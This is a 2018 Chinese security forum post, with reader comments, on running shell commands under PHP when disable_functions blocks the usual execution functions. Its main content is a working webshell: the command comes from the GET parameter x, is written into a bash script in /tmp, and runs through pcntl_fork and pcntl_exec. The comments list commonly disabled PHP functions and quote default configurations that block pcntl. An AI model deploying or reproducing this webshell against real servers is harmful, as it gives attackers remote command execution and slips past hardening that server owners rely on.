php绕过大部分禁用函数限制执行命令

postma****@lanme / 2018-05-31 11:49:38 / 浏览数 9770 安全技术 WEB安全 顶(2) 踩(4)

大部分被禁用的是这些函数，然而泄露了一个pcntl
被禁用的函数（disable_functions）： passthru exec system chroot chgrp
chown shell_exec proc_open proc_get_status popen
ini_alter ini_restore dl openlog syslog
readlink symlink popepassthru stream_socket_server

```
<?php

header("Content-Type: text/plain");

$cmd="/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd="/tmp/output.txt";
print_r(file_get_contents($cd));


switch (pcntl_fork()) {

 case 0:

   $ret = pcntl_exec($cmd);

   exit("case 0");

 default:

   echo "case 1";

   break;

}
```


上一篇：利用HTTP参数污染漏洞绕过reC... 下一篇：利用CSS边信道攻击获取Faceb...

1. 9 条回复


风之传说 2018-05-31 17:51:02

虽然现在好久都没有去拿webshell了，但是还是收藏下。

0 回复Ta

LandGrey

land**** 2018-05-31 22:49:06

大部分禁用的可能是这些函数：system
shell_exec
passthru

exec
popen
proc_open
pcntl_exec
mail
ini_set
putenv
apache_setenv
mb_send_mail
assert
dl
set_time_limit
ignore_user_abort
symlink
link
chgrp
chown
proc_get_status
ini_alter
ini_restore
openlog
syslog
readlink
stream_socket_server
fsocket
pfsockopen
get_current_user
opendir
show_source
curl_exec
curl_multi_exec
parse_ini_file
highlight_file

0 回复Ta


postma****@lanme 2018-06-01 00:27:43

@land**** 然而还是没有禁用pcntl

0 回复Ta


王一航 2018-06-01 22:33:07

但是这个函数是默认禁用的啊...

```
disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcnt
```

0 回复Ta

 postma****@lanme 2018-06-03 08:48:25

@王一航 也就你禁用, 一键安装环境没有禁用的，所以我这个有用，当然了不用拉倒

0 回复Ta

 王一航 2018-06-05 15:21:42

@postma****@lanme 不是的呀，我这边 Ubuntu apt 直接装的 libapache2-mod-php 呀，不知道您说的一键安装指的是。。。

0 回复Ta

 阿烨 2018-06-14 20:35:06

这个不喷真的不行，像这种很久前就有的东西直接拿来发有意义吗：
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/bypass_function.md

0 回复Ta

B1ack 2019-02-14 00:04:22

windows下可行？

0 回复Ta

31482****@qq.com 2019-03-15 16:40:05

php7.1 fpm 默认配置：

```
; http://php.net/disable-functions
disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,p
cntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_se
tpriority,pcntl_async_signals,
```


0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板